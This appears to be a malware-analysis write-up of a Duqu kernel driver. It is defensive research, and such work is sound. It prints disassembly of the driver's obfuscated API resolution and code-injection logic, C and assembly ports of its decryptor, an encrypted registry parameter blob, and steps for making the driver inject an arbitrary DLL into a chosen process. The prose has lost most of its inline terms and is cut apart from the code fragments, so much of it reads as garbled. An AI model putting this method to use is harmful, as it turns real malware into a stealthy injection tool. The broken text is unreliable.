

.text:00010D90 sub_decode_parameters proc near

.text:00010D90 push esi

.text:00010D91 mov eax, 0B86249A9h

.text:00010D96 xor ecx, ecx

.text:00010D98 push edi

.text:00010D99 lea esp, [esp+0]

.text:00010DA0 loop:

.text:00010DA0 xor byte_14F90[ecx], al

.text:00010DA6 mov esi, eax

.text:00010DA8 and esi, 0Bh

.text:00010DAB shl esi, 18h

.text:00010DAE shr eax, 5

.text:00010DB1 or esi, eax

.text:00010DB3 and esi, 1FFFFFFFh

.text:00010DB9 mov eax, esi

.text:00010DBB imul esi, eax

.text:00010DBE mov edi, eax

.text:00010DC0 imul edi, 0F64301Ah

.text:00010DC6 xor esi, 395Ch

.text:00010DCC lea esi, [esi+edi+0Dh]

.text:00010DD0 add ecx, 1

.text:00010DD3 xor eax, esi

.text:00010DD5 cmp ecx, 574 ; 574 bytes in total

.text:00010DDB jb short loop

.text:00010DDD mov ax, word ptr buf_enc

.text:00010DE3 test ax, ax

.text:00010DE6 pop edi

.text:00010DE7 pop esi

.text:00010DE8 jnz short exit

.text:00010DEA movzx ecx, word ptr [edx]

.text:00010DED mov edx, [edx+4]

.text:00010DF0 push ecx ; size_t

.text:00010DF1 push edx ; void *

.text:00010DF2 push offset buf_enc

.text:00010DF7 call memcpy

.text:00010DFC add esp, 0Ch

.text:00010DFF exit:

.text:00010DFF retn

.text:00010DFF sub_decode_parameters endp



Name of the device to be created:

\Device\{3093AAZ3-1092-2929-9391}



Registry branch that will be used to store the driver information:

\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86



Registry value FILTER that is known from the previous Duqu variant to contain encoded injection parameters

IoCreateDevice()

\Device\{BFF55DF2-6530-4935-8CF6-6D6F7DC0AA48}

\Device\{3093AAZ3-1092-2929-9391}

ZwQuerySystemInformation()

SystemModuleInformation

_stricmp()

"ntkrnlpa.exe"

"ntoskrnl.exe"

XOR

0xF750F284

0xF750B7D4



.text:00012F1E mov eax, 'ZM' ; MZ header

.text:00012F23 cmp [esi], ax

.text:00012F26 jz short next ; get lfanew

...

.text:00012F2D next:

.text:00012F2D mov eax, [esi+3Ch] ; get lfanew

.text:00012F30 add eax, esi ; add it to image base

.text:00012F32 mov ecx, [eax] ; read the DWORD from there

.text:00012F34 xor ecx, 0F750F284h ; it must be 'P' 'E' '0' '0'

.text:00012F3A cmp ecx, 0F750B7D4h

.text:00012F40 jnz short quit ; if no PE-signature, quit



".text"

"PAGE"

".text"

"PAGE"

0xAB405E8F

0x18DB09E1



.text:00012040 check_next_section:

.text:00012040 movzx eax, di

.text:00012043 lea edx, [eax+eax*4]

.text:00012046 mov eax, [ebp+edx*8+24h]

.text:0001204A lea esi, [ebp+edx*8+0]

.text:0001204E and eax, 62000020h ; ignore non-page flag

.text:00012053 cmp eax, 60000020h ; make sure it's read/exec

.text:00012058 jnz short inc_check_next_section

.text:0001205A mov ecx, esi

.text:0001205C call hash_section_name

.text:00012061 cmp eax, 0AB405E8Fh ; hash of ".text" string

.text:00012066 jz short next

.text:00012068 cmp eax, 18DB09E1h ; hash of "PAGE" string

.text:0001206D jnz short inc_check_next_section



ZwAllocateVirtualMemory()

ntkrnlpa.exe



.text:0001219D lea eax, [esp+34h+ptr]

.text:000121A1 push 47E31156h ; hash of "PsGetProcessSessionId"

.text:000121A6 push eax

.text:000121A7 call find_api_by_hash

.text:000121AC lea ecx, [esp+3Ch+ptr]

.text:000121B0 push 0C9FD3510h ; hash of "PsGetProcessPeb"

.text:000121B5 push ecx

.text:000121B6 mov PsGetProcessSessionId, eax

.text:000121BB call find_api_by_hash

.text:000121C0 lea edx, [esp+44h+ptr]

.text:000121C4 push 612F3500h ; hash of "PsLookupProcessByProcessId"

.text:000121C9 push edx

.text:000121CA mov PsGetProcessPeb, eax

.text:000121CF call find_api_by_hash

.text:000121D4 mov PsLookupProcessByProcessId, eax

.text:000121D9 lea eax, [esp+4Ch+ptr]

.text:000121DD push 1407F237h ; hash of "PsSetLoadImageNotifyRoutine"

.text:000121E2 push eax

.text:000121E3 call find_api_by_hash

.text:000121E8 lea ecx, [esp+54h+ptr]

.text:000121EC push 4A1D957Fh ; hash of "KeStackAttachProcess"

.text:000121F1 push ecx

.text:000121F2 mov PsSetLoadImageNotifyRoutine, eax

.text:000121F7 call find_api_by_hash

.text:000121FC lea edx, [esp+5Ch+ptr]

.text:00012200 push 7E676A4Ch ; hash of "KeUnstackDetachProcess"

.text:00012205 push edx

.text:00012206 mov KeStackAttachProcess, eax

.text:0001220B call find_api_by_hash

.text:00012210 add esp, 40h

.text:00012213 mov KeUnstackDetachProcess, eax

.text:00012218 lea eax, [esp+24h+ptr]

.text:0001221C push 0D3C50AD9h ; hash of "ObOpenObjectByPointer"

.text:00012221 push eax

.text:00012222 call find_api_by_hash

.text:00012227 lea ecx, [esp+2Ch+ptr]

.text:0001222B push 0E5AC234h ; hash of "ZwQuerySystemInformation"

.text:00012230 push ecx

.text:00012231 mov ObOpenObjectByPointer, eax

.text:00012236 call find_api_by_hash

.text:0001223B lea edx, [esp+34h+ptr]

.text:0001223F push 0F82D7E6Dh ; hash of "ZwAllocateVirtualMemory"

.text:00012244 push edx

.text:00012245 mov ZwQuerySystemInformation, eax

.text:0001224A call find_api_by_hash

.text:0001224F mov ZwAllocateVirtualMemory, eax

.text:00012254 lea eax, [esp+3Ch+ptr]

.text:00012258 push 7C19400Ch ; hash of "ZwOpenFile"

.text:0001225D push eax

.text:0001225E call find_api_by_hash

.text:00012263 lea ecx, [esp+44h+ptr]

.text:00012267 push 0DA18F72Ch ; hash of "ZwQueryInformationFile"

.text:0001226C push ecx

.text:0001226D mov ZwOpenFile, eax

.text:00012272 call find_api_by_hash

.text:00012277 lea edx, [esp+4Ch+ptr]

.text:0001227B push 0C840A85Dh ; hash of "ZwQueryInformationProcess"

.text:00012280 push edx

.text:00012281 mov ZwQueryInformationFile, eax

.text:00012286 call find_api_by_hash

.text:0001228B mov ZwQueryInformationProcess, eax

.text:00012290 lea eax, [esp+54h+ptr]

.text:00012294 push 8619E771h ; hash of "ZwReadFile"

.text:00012299 push eax

.text:0001229A call find_api_by_hash

.text:0001229F add esp, 38h

.text:000122A2 mov ZwReadFile, eax



68 04 01 00 00

"push 104h"



.text:00011ED0 next_byte:

.text:00011ED0 mov edx, [esi]

.text:00011ED2 cmp edx, dword ptr ds:push_104h

.text:00011ED8 jz short found_push_104h

.text:00011EDA add esi, 1

.text:00011EDD cmp esi, ecx

.text:00011EDF jbe short next_byte



"push 104h"

E8

CALL

CALL

ZwAllocateVirtualMemory()

ntkrnlpa.exe

ZwAllocateVirtualMemory()



.text:00011C60 loop:

.text:00011C60 lea ebp, [eax+edi] ; EDI=ntkrnlpa.exe base, starts from IAT

.text:00011C63 cmp ebp, esi ; pointer limit

.text:00011C65 jnb short exit

.text:00011C67 cmp byte ptr [ecx], 0E8h ; E8 = CALL opcode

.text:00011C6A jnz short next_byte

.text:00011C6C mov ebp, [ecx+1]

.text:00011C6F lea ebp, [ecx+ebp+5]

.text:00011C73 cmp ebp, edx ; EDX=ZwAllocateVirtualMemory() address

.text:00011C75 jz short found_ZwAllocateVirtualMemory

.text:00011C77 next_byte:

.text:00011C77 add eax, 1

.text:00011C7A sub ecx, 1

.text:00011C7D cmp eax, 128 ; limit = 128 bytes

.text:00011C82 jb short loop ; EDI=ntkrnlpa.exe base, starts from IAT



ntkrnlpa.exe

"push 104h"

68 04 01 00 00

E8



.text:8052111C 68 04 01 00 00 push 104h ; PAGE_READWRITE | PAGE_GUARD

.text:80521121 50 push eax ; AllocationType

.text:80521122 8D 45 E0 lea eax, [ebp+AllocationSize]

.text:80521125 50 push eax ; AllocationSize

.text:80521126 53 push ebx ; ZeroBits

.text:80521127 8D 45 E4 lea eax, [ebp+BaseAddress]

.text:8052112A 50 push eax ; BaseAddress

.text:8052112B 6A FF push 0FFFFFFFFh ; ProcessHandle

.text:8052112D E8 96 C2 FD FF call ZwAllocateVirtualMemory



ZwAllocateVirtualMemory()

"push 104h"

PAGE_READWRITE

PAGE_GUARD

ntkrnlpa.exe

ZwAllocateVirtualMemory()

ZwAllocateVirtualMemory()



.text:00012E66 next_section:

.text:00012E66 movzx eax, di

.text:00012E69 imul eax, 28h

.text:00012E6C add eax, esi

.text:00012E6E mov ecx, [eax+8] ; section virtual size

.text:00012E71 mov edx, [eax+10h] ; section's raw data size

.text:00012E74 cmp ecx, edx

.text:00012E76 jb short next

.text:00012E78 mov ecx, edx

.text:00012E7A

.text:00012E7A next:

.text:00012E7A mov eax, [eax+0Ch] ; section RVA

.text:00012E7D add eax, [ebp+image_base] ; section VA

.text:00012E80 cmp [ebp+ZwAllocateVirtualMemory], eax

.text:00012E83 jb short inc_section_number ; jump if section VA

.text:00012E83 ; is less than ZwAllocateVirtualMemory

.text:00012E85 add eax, ecx ; section VA + size = end of section

.text:00012E87 cmp [ebp+ZwAllocateVirtualMemory], eax

.text:00012E8A jb short found_section ; ZwAllocateVirtualMemory must be

.text:00012E8C ; less than the end of section

.text:00012E8C inc_section_number:

.text:00012E8C inc edi ; if not, increment section counter

.text:00012E8D cmp di, bx ; make sure it's less than section num

.text:00012E90 jb short next_section ; check next section



".text"

"PAGE"



.text:00011CC8 mov ecx, [edi+24h] ; get section's characteristics

.text:00011CCB and ecx, 62000020h ; ignore non-page flag

.text:00011CD1 cmp ecx, 60000020h ; read/executable?

.text:00011CD7 jnz short loop

.text:00011CD9 mov ecx, edi

.text:00011CDB call hash_section_name

.text:00011CE0 cmp eax, 0AB405E8Fh ; hash of ".text" string

.text:00011CE5 jz short next ; found ".text"

.text:00011CE7 cmp eax, 18DB09E1h ; hash of "PAGE" string

.text:00011CEC jnz short loop ; neither ".text" nor "PAGE", get next



ZwAllocateVirtualMemory()



.text:00011CFA mov edx, [edi+0Ch] ; section RVA

.text:00011CFD add edx, [ebp+8] ; + image_base = section VA

.text:00011D00 add edx, eax ; end of section

.text:00011D02 lea eax, [esi+14h] ; VA of ZwAllocateVirtualMemory

.text:00011D05 cmp eax, edx

.text:00011D07 ja short loop

.text:00011D09 call matches_ZwAllocateVirtualMemory_opcodes

.text:00011D0E test al, al

.text:00011D10 jnz short found_match





.text:00011BC5 sub ecx, offset opcodes_mask

.text:00011BCB lea edx, [eax+1]

.text:00011BCE mov edi, edi

.text:00011BD0 check_next_byte:

.text:00011BD0 mov bl, ds:opcodes_mask[ecx+eax]

.text:00011BD7 and bl, ds:opcodes_mask[eax]

.text:00011BDD cmp bl, ds:expected_opcodes[eax]

.text:00011BE3 jnz short quit

.text:00011BE5 add eax, edx

.text:00011BE7 cmp eax, 20 ; check 20 bytes only

.text:00011BEA jb short check_next_byte



expected_opcodes

opcodes_mask

expected_opcodes

opcodes_mask

00

FF

expected_opcodes

opcodes_mask

ZwAllocateVirtualMemory()

ZwAllocateVirtualMemory()

ZwAllocateVirtualMemory()

FILTER

mcd9x86

ZwOpenKey()

FILTER

ZwQueryValueKey()

EDX

ESI

EAX

0x59859a12



.text:00012520 sub_decrypt proc near

.text:00012520 xor eax, 0B86249A9h

.text:00012525 xor ecx, ecx

.text:00012527 test esi, esi

.text:00012529 jbe short exit

.text:0001252B push ebx

.text:0001252C push edi

.text:0001252D lea ecx, [ecx+0]

.text:00012530 loop:

.text:00012530 xor [ecx+edx], al

.text:00012533 mov edi, eax

.text:00012535 and edi, 0Bh

.text:00012538 shl edi, 18h

.text:0001253B shr eax, 5

.text:0001253E or edi, eax

.text:00012540 and edi, 1FFFFFFFh

.text:00012546 mov eax, edi

.text:00012548 imul edi, eax

.text:0001254B mov ebx, eax

.text:0001254D imul ebx, 0F64301Ah

.text:00012553 xor edi, 395Ch

.text:00012559 lea edi, [edi+ebx+0Dh]

.text:0001255D add ecx, 1

.text:00012560 xor eax, edi

.text:00012562 cmp ecx, esi

.text:00012564 jb short loop

.text:00012566 pop edi

.text:00012567 pop ebx

.text:00012568 exit:

.text:00012568 retn

.text:00012568 sub_decrypt endp



FILTER

decrypt()

FILTER



void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)

{

_asm

{

mov edx, lpbyBuffer /* restore input parameters */

mov esi, dwSize /* EDX is a buffer pointer, ESI - size */

mov eax, dwSeed /* EAX - initial key value (seed) */



xor eax, 0B86249A9h

xor ecx, ecx

test esi, esi

jbe short l_exit

push ebx

push edi

lea ecx, [ecx+0]

l_loop:

xor [ecx+edx], al

mov edi, eax

and edi, 0Bh

shl edi, 18h

shr eax, 5

or edi, eax

and edi, 1FFFFFFFh

mov eax, edi

imul edi, eax

mov ebx, eax

imul ebx, 0F64301Ah

xor edi, 395Ch

lea edi, [edi+ebx+0Dh]

add ecx, 1

xor eax, edi

cmp ecx, esi

jb short l_loop

pop edi

pop ebx

l_exit:

}

}





void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)

{

DWORD dwKey;

DWORD dwCount;

DWORD dwTemp;



dwKey = dwSeed ^ 0xB86249A9;

dwCount = 0;



if (dwSize > 0)

{

do

{

lpbyBuffer[dwCount++] ^= dwKey;

dwTemp = ((dwKey >> 5) | ((dwKey & 0xB) << 24)) & 0x1FFFFFFF;

dwKey = ((dwTemp * dwTemp ^ 0x395C) + 0xF64301A * dwTemp + 13) ^ dwTemp;

}

while (dwCount < dwSize);

}

}



Decrypt()



void DecryptFile(DWORD dwSeed)

{

HANDLE hFile;

HANDLE hMap;

LPBYTE lpbyBase;

DWORD dwSize;



if ((hFile = CreateFile(L"FILE_NAME_TO_DECRYPT",

GENERIC_READ | GENERIC_WRITE,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL)) != INVALID_HANDLE_VALUE)

{

if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&

((hMap = CreateFileMapping(hFile,

NULL,

PAGE_READWRITE,

0,

0,

NULL)) != NULL))

{

if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap,

FILE_MAP_ALL_ACCESS,

0,

0,

0)) != NULL)

{

Decrypt(dwSeed, lpbyBase, dwSize);

UnmapViewOfFile(lpbyBase);

}

CloseHandle(hMap);

}

CloseHandle(hFile);

}

}



\SystemRoot\inf

etp191.PNF

0x38

services.exe

0x1A

14

0x03

0xAE240682

16

1

0xAE240682

DecryptFile()

0x59859a12

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86]

"FILTER"=hex:bb,89,0d,99,2c,35,5d,bb,21,86,5d,d3,36,ad,3a,7d,89,17,95,87,af,91,b5,39,\

ee,1d,5c,8d,0f,23,33,63,12,fb,bc,87,90,e7,1c,6b,c5,07,04,0b,c1,19,44,3d,\

ed,47,3b,01,21,2d,11,53,f8,c1,f6,35,ae,9f,71,e1,ca,99,b0,af,9b,87,3a,e3,\

08,83,79,e9,9b,9f,54,25,83,1f,07,9b,69,ed,41,6d,36,6b,ff,85,d5,71,82,71,\

6a,73,ba,dd,a9,45,4b,e1,29,5b,6d,2d,4d,43,f9

netp1091.PNF

services.exe

netp1091.PNF



BOOL APIENTRY DllMain(HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

wchar_t szProcessFileName[MAX_PATH];

GetModuleFileName(NULL,

szProcessFileName,

MAX_PATH);

MessageBoxW(NULL,

szProcessFileName,

L"Test DLL was loaded successfully!",

MB_OK);

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}



PsSetLoadImageNotifyRoutine()

services.exe

services.exe

DecryptFile()

0xAE240682

netp191.PNF

c:\windows\inf

REG

FILTER

%DESKTOP%\services.exe

PsSetLoadImageNotifyRoutine()

netp191.PNF

A couple of days ago, Symantec Security Response discovered a new strain of Duqu, a close relative of Stuxnet that is compiled from the same source code and shares many similarities with it.The only captured sample is a kernel mode driver. It is not clear if this driver was accompanied with other previously unseen components of if it was the only modified part of the latest known set of Duqu files. To get some answers about its functionality, let's dissect the newly discovered Duqu driver both statically and dynamically.A quick static view shows that the driver starts its execution from decoding a built-in parameters section:The built-in parameters are a common technique that allows hard-coding some variable parameters into the executable body without the need to recompile the executable itself. Just like in case of ZeuS (that calls it a "static configuration"), a stand-alone script is likely to be invoked in this case to patch a pre-compiled executable stub with the encrypted parameters - a scheme that allows spitting out new executables "on-the-fly" and thus allows to be used in the server-based polymorphism.But what are the hard-coded parameters in this case?Stepping through the code reveals the decoded parameters:The decoded parameters are:Following that, the driver code creates device objects withby using the names:Duqu then creates a WorkItem routine for a work item, then it inserts the work item into a queue for a system worker thread. Once a system worker thread pulls the work item from the queue, it will call the specified callback routine - a place where the rest of the driver functionality resides.Once the callback routine is invoke, Duqu callsAPI with theparameter to obtain the list of modules loaded into the kernel. Name of every enumerated module is then compared withtoorstrings in order to find the image base of those modules.With the known image base of the kernel image, the driver then parses its PE-file structure. In order to hide its intentions, the code conceals the searching for "PE" signature as detecting that kind of code immediately raises suspicion. Instead, it-es the PE signature field with, then checks if the result is equal, as shown below:Following the PE headers check, the code starts enumerating all sections within the kernel image, inspecting all those sections that are readable/executable and have a nameor. The section name check is carried out by hashing section name and then checking the hash against 2 known hashes ofandandOnce it locates the image section that it is happy with, it starts an interesting routine to process that section and make sure it can recognise the implementation offunction within that section. Here is how it does that.The code will start parsing the export table of the kernel image. It will then hash the exported function names looking for the hashes of the APIs it is interested in, and collecting the addresses of those APIs:Once the API addresses it needs are obtained, it starts parsing the entire section of the kernel image looking for the byte sequence. These bytes correspond toinstruction:Onceinstruction is found, it starts looking for an instruction that follows it, an instruction that starts from) and followed with a relative offset of the function to call. The code makes sure that the offset is precisely equal to a difference between the virtual address of the next instruction that follows(5 bytes forward) and the virtual address of the function- an address that it has just retrieved from the import address table of. That is, it makes sure the offset correspondsfunction:For example, it aims to find the following code construction within(note theinstruction encoded asand the last instruction's opcode of):In the context ofcall, theinstruction means passing that function a "Protect" parameter asandNext, it enumerates all the section headers withinlooking for a section with a virtual address space enclosing the virtual address of. In short, it needs to know what section of the PE image implementsfunction.The section that it finds must also beor, and must be read/executable:Once it locates precisely whereis implemented:it starts matching the opcodes of this function to its own internal opcode mask:Theandmentioned above are defined in the code as shown below (is selected in yellow,is selected in blue):If a byte in the mask is, the corresponding opcode byte is ignored; if it's, the opcode byte must have an exact match with the expected opcode byte. Themasked with thereveal the exact implementation ofwithin ntkrnlpa.exe:By checking ifcode matches a known opcode pattern, Duqu is able to find out if there are any hooks placed for the kernel'sAPI.Duqu driver next proceeds to its final stage - code injection into the userland process.The techniques that inject code into the usermode processes from the kernel mode are not new, but unlike threats like Rustock , Duqu does not carry the stub to inject inside its own body. Instead, it is configured to be used in a more flexible manner. It is likely that the driver was developed by a separate programmer who then provided an interface for other members of his crew to use it. He must have described the interface as "encrypt a DLL to inject this way, create a registry value for my driver, save all the required parameters in it so that my driver would know where to find your DLL, how to unpack it, and where to inject it, then drop and load my driver, understood?".With this logic in mind, the functionality of the driver is encapsulated and completely delimited from other components - the dropper only needs to drop a DLL to inject, take care of the parameters to put into the registry, and then load the driver. The driver will take care of the rest.The parameters that the dropper passes to the driver are stored in the registry value with a name that is hard-coded into the driver body - this value was already decoded above - it is calledThe driver opens the registry keywith, then queries itsvalue with(dynamically retrieved from the kernel image), then calls a decryptor in order to decode the parameters passed via that value.The decryptor function is called with some input values:pointing into the encrypted content,containing the content size, andcontaining the initial key value (the seed) of. During the decryption, the key will change its value too, forming a simple multiplication rolling key scheme:The initial content of thevalue is not known, as the driver was found without a dropper. Nevertheless, callingfunction above over the same buffer reverts its content back into original state. Knowing that, it is possible to construct a fakevalue for the driver that would contain encrypted fake parameters. Next, the driver can be debugged to see how it decrypts the parameters and how it then parses and uses them.For start, the decryption function can be replicated in a stand-alone tool, using in-line Assembler, by copy-pasting the disassembled code above:The same function can also be implemented in C++ as:Once implemented, thefunction can be called as:The unencrypted data from the registry is known from the previous Duqu versions:The dump above specifies the name of the DLL to inject (), the name length (), the process name where DLL should be injected () and its name length ().The byte at the offsetindicates if the DLL file is encrypted or not. If its value is, the DLL is encrypted with the same encryption algorithm as the parameters themselves, only the initial seed value for the key is different - it is specified asat the offset. The value ofmeans the specified DLL is NOT encrypted (oh, yes).For simplicity, these parameters will not be modified - they will be taken as they are, including the encryption key. That key () will be used to encrypt a custom-built DLL.Placing the parameters dump into a separate file and calling the replicated functionabove by using the seed value ofwill produce an encrypted dump. It is convenient to put those encrypted parameters into a REG file as a text:Now it's time to check how Duqu driver loads the specified DLLinto. But first, let's compile a simple test DLL calledwith the code below:Once loaded, the DLL will just retrieve a path of the executable file of the process where it was loaded, and then display that path in a message box.The Duqu driver callsAPI to register a callback function that is subsequently notified whenever an image is loaded. Within that callback, Duqu will map the specified DLL into the specified process. That means, that the test DLL above will only be mapped intowhenprocess is started.Once compiled, the test DLL is encrypted by callingprovided above and using the seed value of(as specified in the parameters stored in the registry value).With a virtual machine fired up, the compiled and encrypted DLL fileis saved intodirectory. The aforementionedfile is imported with the registry editor to place the encrypted parameters into the valueNext, the driver is loaded - either with a stand-alone tool or by using Driver Loader tool.To test the loaded driver in action, Windows calculator is copied as. When it is launched, the driver's callback function registered withis called that will invoke the DLL injection routine.As seen on the screenshot taken on Windows 7 (32-bit), the encrypted DLL was decrypted, injected and then executed by the Duqu driver under the Windows calculator process. Please note thatis not visible in the list of the loaded DLLs as it was injected into the heap memory of the host process:Voilà!